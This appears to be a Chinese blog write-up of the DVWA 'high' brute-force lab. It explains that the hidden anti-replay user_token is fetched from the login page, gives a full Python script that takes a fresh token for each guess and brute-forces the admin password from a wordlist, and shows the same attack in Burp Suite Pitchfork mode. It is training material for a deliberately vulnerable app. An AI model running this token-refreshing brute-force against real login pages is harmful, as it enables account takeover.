DVWA:security=high
GET包结构
比起来之前low,medium等级,可以看到这里多了一个参数,user_token,为了防止重放攻击,但是明显能看出来user_token就是用户输入密码的md5形式 ,直接用burpsutie中Payload Processing处理下就OK了
OK,打脸了, 这个user_token,每次刷新都会随机一串,并不是用户名md5加密,继续分析~
由于不知道user_token是用的什么加密算法,就从前端中去寻找,这里发现了一个hidden的隐藏域
之后是想找到这个user_token到底是怎么生成的,之前接触的user_token都是属于js前端生成的,但是像这种我找遍了js代码都没找到相关的,排除法判断这个user_token是由后端生成的
0x01 初步尝试
burpsuite捕获到浏览器发送的数据包,此时发包的token和浏览器中的token是相同的,服务器端肯定返回200状态
返回200
如果只修改密码,账户,两个参数,进行重放攻击服务器直接返回302
0x02 FUZZ
由于自己的疏忽出了一个小乌龙,burpsuite抓到浏览器的包后,我习惯性的丢到Repeater分析,然后抓的包就直接释放掉了,注意这里我并没有drop掉这个包,而是直接将关闭阻塞,最后这个数据包还是会发给web服务器,这样就导致了user_token失效,我在Repeater中分析过程中遇到302的原因。
0x03 我是shabi
既然这个token会在登陆界面出现,然后在登陆验证的时候,会把浏览器上的token发送给服务器,那我完全可以先保存下登陆界面的token,然后带着这个token去发包,这不就完事了,淦,是我自己遇到token,感觉很难,想的太复杂了。
用python3写了一个小脚本
import requests
#设置靶站的登陆Cookie
session = requests.Session()
session.cookies['PHPSESSID'] = 'bkpss75ed1dkon273465lkk034'
session.cookies['security'] = 'high'
passwords = [] #用于存放密码
def get_user_token():
#先获取token
index_url = "http://localhost:90/vulnerabilities/brute/"
res = session.get(index_url)
user_token_index = res.text.find("user_token")
res.text[user_token_index+19:user_token_index+53]
user_token = res.text[user_token_index + 18:user_token_index + 52]
user_token = user_token.replace('\'','')
user_token = user_token.replace('\'','')
return user_token
#简单的字符串查找登陆正确或者错误的标志
def checkPassword(text):
if(text.find("/hackable/users/admin.jpg")!=-1):
return True
else:
return False
#用于加载密码字典到全局变量list中
def load_dict(txt_name):
with open(txt_name, 'r', encoding='utf-8') as f:
for password in f.readlines():
passwords.append(password.strip('\n'))
# print(passwords)
def brute_foce(username,password,user_token):
#添加cookies
headers = {"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36"}
#此处是方便使用burpsuite分析包
proxies = {
'http': '127.0.0.1:8080',
}#
urls = f"http://127.0.0.1:90/vulnerabilities/brute/index.php?" \
f"username={username}&password={password}&Login=Login" \
f"&user_token={user_token}"
#禁止重定向 allow_redirects=False
# res = session.get(urls,proxies=proxies,headers=headers, allow_redirects=False)
res = session.get(urls,headers=headers, allow_redirects=False)
# print(user_token)
# print(res.text)
if (res.status_code == 200):
#模拟发包成功,检查爆破的密码是否正确
if(checkPassword(res.text)):
print(f"[!]User:{username} Password:{password} Use_token:f{user_token}")
#发现一个密码正确直接退出
exit(1)
else:
print(f"[.]User:{username} Password:{password} Use_token:f{user_token}")
else:
print(res.status_code)
print("Go on. :)")
def main():
load_dict("small_rkolin.txt")
username = "admin"
for password in passwords:
brute_foce(username,password,get_user_token())
if __name__ == '__main__':
main()
# 两种requests添加cookies的方法
# 1.使用session
# session = requests.Session()
# session.cookies['cookie'] = 'PHPSESSID=rjka195d6cgsjsjf2eqhteq7j7; security=high'
# session.get(url)
# 2.使用headers
# headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36",
# "Cookie": "PHPSESSID=rjka195d6cgsjsjf2eqhteq7j7; security=high"}
# requests.get(urls,headers=headers)
当然有很多的不完善的地方,比如只得到一个密码就退出程序了,没有继续跑完后面的字典,但是完全够用了,如果拿去实战的话,还要针对性的再开发下,这里不作为重点。
运行截图:
破解出密码
0x04 使用Burpsuite
使用Burpsuite中的Pitchfork攻击模式
选择两个payload
- payload为password;payload类型:Simple list
- payload为user_token;payload类型:Recursive grep
对Payload2还需要再处理下,选择要提取的数据
在Options中设置选择Grep-Extract,使用鼠标选择需要提取的参数,选择user_token的value值,就会自动生成类似正则表达式的东西。
再设置一个没有被使用的user_token,作为第一次访问,然后burpsuite自动提取访问后页面重新刷新出的user_token替换到payload2中
执行攻击即可,整个攻击流程就是,先使用一个user_token,发送get请求给服务器后,服务器返回200后,burpsutie会根据Grep-Extract中设置的,自动提取user_token的value值,替换成payload2后(payload1是首先替换的)继续循环发包,一直到payload1中的字典文件结束。
0x05 总结
我对burpsuite中其他攻击模式,不是很了解,我只了解基础的snpier攻击模式,通过这次学习,初步掌握了关于Pitchfork的用法,但是我现在没有完全理解,关于在登陆界面中使用user_token由于这个user_token是出现在静态页面中的,只是用了简单的hidden属性用于隐藏user_token,是无法避免爆破登陆的。